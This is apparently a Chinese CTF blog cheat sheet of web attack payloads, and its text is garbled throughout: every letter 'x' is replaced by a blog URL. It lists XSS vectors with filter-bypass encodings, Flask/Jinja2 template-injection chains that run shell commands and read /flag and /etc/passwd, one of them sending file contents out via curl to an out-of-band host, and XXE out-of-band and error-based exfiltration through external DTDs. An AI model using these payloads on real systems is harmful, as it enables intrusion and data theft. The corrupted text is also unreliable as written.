持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。
<scirpt>alert("https://blog.csdn.net/yjprolus/article/details/xss");</script>
<img src=1 onerror=alert("https://blog.csdn.net/yjprolus/article/details/xss");>
<input onfocus="alert('https://blog.csdn.net/yjprolus/article/details/xss');">// 竞争焦点,从而触发onblur事件<input onblur=alert("https://blog.csdn.net/yjprolus/article/details/xss") autofocus><input autofocus>// 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发<input onfocus="alert('https://blog.csdn.net/yjprolus/article/details/xss');" autofocus>
<details ontoggle="alert('https://blog.csdn.net/yjprolus/article/details/xss');">// 使用open属性触发ontoggle事件,无需用户去触发<details open ontoggle="alert('https://blog.csdn.net/yjprolus/article/details/xss');">
<svg onload=alert("https://blog.csdn.net/yjprolus/article/details/xss");>
<select onfocus=alert(1)></select>// 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发<select onfocus=alert(1) autofocus>
<iframe onload=alert("https://blog.csdn.net/yjprolus/article/details/xss");></iframe>
<video><source onerror="alert(1)">
<audio src=https://blog.csdn.net/yjprolus/article/details/x onerror=alert("https://blog.csdn.net/yjprolus/article/details/xss");>
<body/onload=alert("https://blog.csdn.net/yjprolus/article/details/xss");>
利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
<body onscroll=alert("https://blog.csdn.net/yjprolus/article/details/xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<tehttps://blog.csdn.net/yjprolus/article/details/xtarea onfocus=alert("https://blog.csdn.net/yjprolus/article/details/xss"); autofocus>
<keygen autofocus onfocus=alert(1)> //仅限火狐
<marquee onstart=alert("https://blog.csdn.net/yjprolus/article/details/xss")></marquee> //Chrome不行,火狐和IE都可以
<isindehttps://blog.csdn.net/yjprolus/article/details/x type=image src=1 onerror=alert("https://blog.csdn.net/yjprolus/article/details/xss")>//仅限于IE
<link rel=import href="http://127.0.0.1/1.js">
标签
<a href="javascript:alert(`https://blog.csdn.net/yjprolus/article/details/xss`);">https://blog.csdn.net/yjprolus/article/details/xss</a>
标签 ```javascript ``` 标签
<img src=javascript:alert('https://blog.csdn.net/yjprolus/article/details/xss')> //IE7以下
标签
<form action="Javascript:alert(1)"><input type=submit>
<img style="https://blog.csdn.net/yjprolus/article/details/xss:ehttps://blog.csdn.net/yjprolus/article/details/xpression(alert('https://blog.csdn.net/yjprolus/article/details/xss''))"> // IE7以下<div style="color:rgb(''�https://blog.csdn.net/yjprolus/article/details/x:ehttps://blog.csdn.net/yjprolus/article/details/xpression(alert(1))"></div> //IE7以下<style>#test{https://blog.csdn.net/yjprolus/article/details/x:ehttps://blog.csdn.net/yjprolus/article/details/xpression(alert(/XSS/))}</style> // IE7以下
<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
用/
代替空格
<img/src="https://blog.csdn.net/yjprolus/article/details/x"/onerror=alert("https://blog.csdn.net/yjprolus/article/details/xss");>
<ImG sRc=https://blog.csdn.net/yjprolus/article/details/x onerRor=alert("https://blog.csdn.net/yjprolus/article/details/xss");>
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<imimgg srsrcc=https://blog.csdn.net/yjprolus/article/details/x onerror=alert("https://blog.csdn.net/yjprolus/article/details/xss");>
利用eval
<img src="https://blog.csdn.net/yjprolus/article/details/x" onerror="a=`aler`;b=`t`;c='(`https://blog.csdn.net/yjprolus/article/details/xss`);';eval(a+b+c)">
利用top
<script>top["al"+"ert"](`https://blog.csdn.net/yjprolus/article/details/xss`);</script>
有的waf可能是用正则表达式去检测是否有https://blog.csdn.net/yjprolus/article/details/xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了。下面举几个简单的例子:
可利用注释、标签的优先级等1.<2.> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效3.
Unicode编码绕过
<img src="https://blog.csdn.net/yjprolus/article/details/x" onerror="alert("xss");"><img src="https://blog.csdn.net/yjprolus/article/details/x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="https://blog.csdn.net/yjprolus/article/details/x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"><iframe src="data:tehttps://blog.csdn.net/yjprolus/article/details/xt/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
ascii码绕过
<img src="https://blog.csdn.net/yjprolus/article/details/x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hehttps://blog.csdn.net/yjprolus/article/details/x绕过
<img src=https://blog.csdn.net/yjprolus/article/details/x onerror=eval('\https://blog.csdn.net/yjprolus/article/details/x61\https://blog.csdn.net/yjprolus/article/details/x6c\https://blog.csdn.net/yjprolus/article/details/x65\https://blog.csdn.net/yjprolus/article/details/x72\https://blog.csdn.net/yjprolus/article/details/x74\https://blog.csdn.net/yjprolus/article/details/x28\https://blog.csdn.net/yjprolus/article/details/x27\https://blog.csdn.net/yjprolus/article/details/x78\https://blog.csdn.net/yjprolus/article/details/x73\https://blog.csdn.net/yjprolus/article/details/x73\https://blog.csdn.net/yjprolus/article/details/x27\https://blog.csdn.net/yjprolus/article/details/x29')>
八进制
<img src=https://blog.csdn.net/yjprolus/article/details/x onerror=alert('\170\163\163')>
base64绕过
<img src="https://blog.csdn.net/yjprolus/article/details/x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"><iframe src="data:tehttps://blog.csdn.net/yjprolus/article/details/xt/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<img src="https://blog.csdn.net/yjprolus/article/details/x" onerror=alert(`https://blog.csdn.net/yjprolus/article/details/xss`);>
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.οnerrοr=eval;throw'=alert\https://blog.csdn.net/yjprolus/article/details/x281\https://blog.csdn.net/yjprolus/article/details/x29';">
<img src="https://blog.csdn.net/yjprolus/article/details/x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
<img src="https://blog.csdn.net/yjprolus/article/details/x" onerror=document.location=`http://2130706433/`>
<img src="https://blog.csdn.net/yjprolus/article/details/x" onerror=document.location=`http://0177.0.0.01/`>
<img src="https://blog.csdn.net/yjprolus/article/details/x" onerror=document.location=`http://0https://blog.csdn.net/yjprolus/article/details/x7f.0https://blog.csdn.net/yjprolus/article/details/x0.0https://blog.csdn.net/yjprolus/article/details/x0.0https://blog.csdn.net/yjprolus/article/details/x1/`>
//
可以代替http://
<img src="https://blog.csdn.net/yjprolus/article/details/x" onerror=document.location=`//www.baidu.com`>
\\
在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linuhttps://blog.csdn.net/yjprolus/article/details/x下才会是当前域的协议
<img src="https://blog.csdn.net/yjprolus/article/details/x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度
__class__ 类的一个内置属性,表示实例对象的类。__base__ 类型对象的直接基类__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases____mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.__init__ 初始化类,返回的类型是function__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x/a.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}current_app 应用上下文,一个全局变量。request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()request.args.https://blog.csdn.net/yjprolus/article/details/x1 get传参request.values.https://blog.csdn.net/yjprolus/article/details/x1 所有参数request.cookies cookies参数request.headers 请求头参数request.form.https://blog.csdn.net/yjprolus/article/details/x1 post传参(Content-Type:applicaation/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencoded或multipart/form-data)request.data post传参(Content-Type:a/b)request.json post传json (Content-Type: application/json)config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}g {{g}}得到dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
使用popen方法:?name={{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
使用访问字典的形式来获取函数或者类
{{().__class__}}{{()["__class__"]}}{{()|attr("__class__")}}{{getattr('',"__class__")}}{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
利用request.args.
绕:/?ehttps://blog.csdn.net/yjprolus/article/details/xploit={{request[request.args.pa]}}&pa=**class**
绕过原理:request | attr(request.args.a)等价于request["a"]
:?ehttps://blog.csdn.net/yjprolus/article/details/xploit={{request|attr(request.args.pa)}}&pa=**class**
flask中存在着request
内置对象可以得到请求的信息,request
可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过
request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}post:arg1=open&arg2=/etc/passwd{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}Cookie:arg1=open;arg2=/etc/passwd
""["__cla""ss__"]"".__getattribute__("__cla""ss__")反转""["__ssalc__"][::-1]"".__getattribute__("__ssalc__"[::-1]){{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.thttps://blog.csdn.net/yjprolus/article/details/xt').read()相当于().__class__.__bases__[0].__subclasses__()[40]('r','flag.thttps://blog.csdn.net/yjprolus/article/details/xt').read()
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('thttps://blog.csdn.net/yjprolus/article/details/xt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
"{0:c}".format(97)='a'"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
"__class__"=="\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5fclass\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f"=="\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x63\https://blog.csdn.net/yjprolus/article/details/x6c\https://blog.csdn.net/yjprolus/article/details/x61\https://blog.csdn.net/yjprolus/article/details/x73\https://blog.csdn.net/yjprolus/article/details/x73\https://blog.csdn.net/yjprolus/article/details/x5f\https://blog.csdn.net/yjprolus/article/details/x5f"对于python2的话,还可以利用base64进行绕过"__class__"==("X19jbGFzc19f").decode("base64")
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}lipsum.__globals__['os'].popen('tac /f*').read()
().__class__.__bases__[0].__subclasses__()[40]('r','Zmhttps://blog.csdn.net/yjprolus/article/details/xhZy50eHQ='.decode('base64')).read()相当于:().__class__.__bases__[0].__subclasses__()[40]('r','flag.thttps://blog.csdn.net/yjprolus/article/details/xt').read()
无法直接使用chr函数,需要通过__builtins__
定位
{% set chr=url_for.__globals__['__builtins__'].chr %}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
__init__
可以用__enter__
或__ehttps://blog.csdn.net/yjprolus/article/details/xit__
替代{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}{{().__class__.__bases__[0].__subclasses__()[213].__ehttps://blog.csdn.net/yjprolus/article/details/xit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{self}} ⇒ {{self.__dict__._TemplateReference__contehttps://blog.csdn.net/yjprolus/article/details/xt}}
del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statementdel __builtins__.__dict__['eval'] # evaluating code could be dangerousdel __builtins__.__dict__['ehttps://blog.csdn.net/yjprolus/article/details/xecfile'] # likewise for ehttps://blog.csdn.net/yjprolus/article/details/xecuting the contents of a filedel __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
Python 3.7.8>>> ["a","kawhi","c"][1]'kawhi'>>> ["a","kawhi","c"].pop(1)'kawhi'>>> ["a","kawhi","c"].__getitem__(1)'kawhi'{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()} {{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号
__getattribute__
{{"".__getattribute__("__cla"+"ss__").__base__}}
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
使用pop()或者__getitem__
绕过
?name={{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*')
不能使用request.values.name
,所以使用request.cookies.name
,然后使用flask自带的attr
、' '|attr('__class__')
等于 ' '.__class__
。lipsum
是一个方法,其调用__globals__
可以直接使用os执行命令
{{lipsum.__globals__['os'].popen('whoami').read()}}{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}Cookie: a=__globals__;b=cat /f*
使用request.cookies.a
绕过
?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}Cookie: a=__globals__;b=os;c=cat /f*
使用{%
,因为{%%}是没有回显的,所以使用print来标记使他有回显
?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%}Cookie: a=__globals__;b=os;c=cat /f*
{% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}lipnum|attr('__globals__').get('os').popen('cat /flag').read()
{%set po=dict(po=a,p=a)|join%} #pop{%set https://blog.csdn.net/yjprolus/article/details/xia=(()|select|string|list).pop(24)%} #_{%set ini=(https://blog.csdn.net/yjprolus/article/details/xia,https://blog.csdn.net/yjprolus/article/details/xia,dict(init=a)|join,https://blog.csdn.net/yjprolus/article/details/xia,https://blog.csdn.net/yjprolus/article/details/xia)|join%} #__init__{%set glo=(https://blog.csdn.net/yjprolus/article/details/xia,https://blog.csdn.net/yjprolus/article/details/xia,dict(globals=a)|join,https://blog.csdn.net/yjprolus/article/details/xia,https://blog.csdn.net/yjprolus/article/details/xia)|join%} #__globals__{%set built=(https://blog.csdn.net/yjprolus/article/details/xia,https://blog.csdn.net/yjprolus/article/details/xia,dict(builtins=a)|join,https://blog.csdn.net/yjprolus/article/details/xia,https://blog.csdn.net/yjprolus/article/details/xia)|join%} # __builtins__{%set a=(lipsum|attr(glo)).get(built)%}{%set chr=a.chr%} #chr(){%print a.eval(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(108)~chr(115)~chr(39)~chr(41)).read()%}print lipsum|attr('__globals__').get('__builtins__').eval(__import__('os').popen('ls')).read()
使用下面的脚本来获得ascii码
//使用chr绕过ssti过滤引号$str="__import__('os').popen('ls')";$result='';for($i=0;$i<strlen($str);$i++){ $result.='chr('.ord($str[$i]).')~';}echo substr($result,0,-1);
# 将半角数字转换为全角绕过ban数字def half2full(half): full = '' for ch in half: if ord(ch) in range(33, 127): ch = chr(ord(ch) + 0https://blog.csdn.net/yjprolus/article/details/xfee0) elif ord(ch) == 32: ch = chr(0https://blog.csdn.net/yjprolus/article/details/x3000) else: pass full += ch return fullt=''while 1: s = input("输入想要的数字") for i in s: t+=half2full(i) print(t)
?name={% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set https://blog.csdn.net/yjprolus/article/details/x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=https://blog.csdn.net/yjprolus/article/details/x.chr%}{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%print(https://blog.csdn.net/yjprolus/article/details/x.open(file).read())%}
//使用chr绕过ssti过滤引号$str="__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')";$result='';for($i=0;$i<strlen($str);$i++){ $result.='chr('.ord($str[$i]).')~';}echo substr($result,0,-1);
#正则匹配出字符串中的数字,然后返回全角数字import restr="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)"""result=""def half2full(half): full = '' for ch in half: if ord(ch) in range(33, 127): ch = chr(ord(ch) + 0https://blog.csdn.net/yjprolus/article/details/xfee0) elif ord(ch) == 32: ch = chr(0https://blog.csdn.net/yjprolus/article/details/x3000) else: pass full += ch return fullfor i in re.findall('\d{2,3}',str): result+="chr("+half2full(i)+")~" print(i)print(result[:-1])
?name={% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set https://blog.csdn.net/yjprolus/article/details/x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=https://blog.csdn.net/yjprolus/article/details/x.chr%}{% set cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41))%}{%if https://blog.csdn.net/yjprolus/article/details/x.eval(cmd)%}aaa{%endif%}q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')")
"".__class__.__base__.__subclasses__()[https://blog.csdn.net/yjprolus/article/details/x].__init__.__globals__['__builtins__'].chrget_flashed_messages.__globals__['__builtins__'].chrurl_for.__globals__['__builtins__'].chrlipsum.__globals__['__builtins__'].chrhttps://blog.csdn.net/yjprolus/article/details/x.__init__.__globals__['__builtins__'].chr (https://blog.csdn.net/yjprolus/article/details/x为任意值)
request.args.https://blog.csdn.net/yjprolus/article/details/x1 get传参request.values.https://blog.csdn.net/yjprolus/article/details/x1 get、post传参request.cookiesrequest.form.https://blog.csdn.net/yjprolus/article/details/x1 post传参(Content-Type:applicaation/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencoded或multipart/form-data)request.data post传参(Content-Type:a/b)request.jsonpost传json (Content-Type: application/json)
{url_for.__globals__['current_app'].config.FLAG}}{{get_flashed_messages.__globals__['current_app'].config.FLAG}}{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}#利用self姿势{{self}} ⇒ {{self.__dict__._TemplateReference__contehttps://blog.csdn.net/yjprolus/article/details/xt.config}} ⇒ 同样可以找到config{{self.__dict__._TemplateReference__contehttps://blog.csdn.net/yjprolus/article/details/xt.lipsum.__globals__.__builtins__.open("/flag").read()}}
找存在__builtins__的子类
search='__builtins__'num=-1for i in ''.__class__.__bases__[0].__subclasses__(): num+=1 try: if search in i.__init__.__globals__.keys(): print(i,num) ehttps://blog.csdn.net/yjprolus/article/details/xcept: pass
定位下标
import json# 所有获得的子类classes="""[, , ,...........""" num=0alllist=[]result=""for i in classes: if i==">": result+=i alllist.append(result) result="" elif i=="\n" or i==",": continue else: result+=i#寻找要找的类,并返回其索引for k,v in enumerate(alllist): if "warnings.catch_warnings" in v: print(str(k)+"--->"+v)
使用request定位下标
import requestsimport timeimport htmlfor i in range(0,300): time.sleep(0.06) payload = "{{().__class__.__mro__[-1].__subclasses__()[%s]}}" % i url = 'http://127.0.0.1:5000?name=' r = requests.post(url+payload) if "catch_warnings" in r.tehttps://blog.csdn.net/yjprolus/article/details/xt: print(r.tehttps://blog.csdn.net/yjprolus/article/details/xt) print(i) break
DOCTYPE foo [ <!ELEMENT foo ANY > ]> <foo>&yj;foo>
DTD即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。DTD一般认为有两种引用或声明方式:内部内嵌在XML文件中,外部的独立出为.dtd文件
DTD实体有以下几种声明方式
DOCTYPE note [ <!ENTITY a "admin">]><note>&anote>
DOCTYPE note> [ <!ENTITY % b " b1 "yyds">"> %b;]><note>&b1note>
DOCTYPE note> [ ]><note>&cnote>
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
DOCTYPE note> [ 或 %d;]><note>&d1note>
直接读靶机文件
DOCTYPE foo [ ]><user><username>&rabbit;username><password>123password>user>
DOCTYPE test [ %file;]><test>&hhh;test>
或
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x。
DOCTYPE updateProfile [ %dtd; %send;]>
evil.dtd的内容,内部的%号要进行实体编码成https://blog.csdn.net/yjprolus/article/details/x25。
https://blog.csdn.net/yjprolus/article/details/x25; send SYSTEM 'http://https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x/?data=%file;'>">%all;
访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
以下内容皆出自JrXnm师傅博客
Blind XXE 详解 + Google CTF 一道题目分析
基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url处不同,其他地方一模一样。
DOCTYPE message [%remote;%send;]><message>1234message>
https://blog.csdn.net/yjprolus/article/details/xml.dtd
https://blog.csdn.net/yjprolus/article/details/x25; send SYSTEM 'file:///hhhhhhh/%file;'>">%start;
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。
https://blog.csdn.net/yjprolus/article/details/xml version="1.0"?><!DOCTYPE message [<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookhttps://blog.csdn.net/yjprolus/article/details/x.dtd"><!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"><!ENTITY % ISOamso '">https://blog.csdn.net/yjprolus/article/details/x25;eval;https://blog.csdn.net/yjprolus/article/details/x25;send;'> %remote;]><message>1234</message>
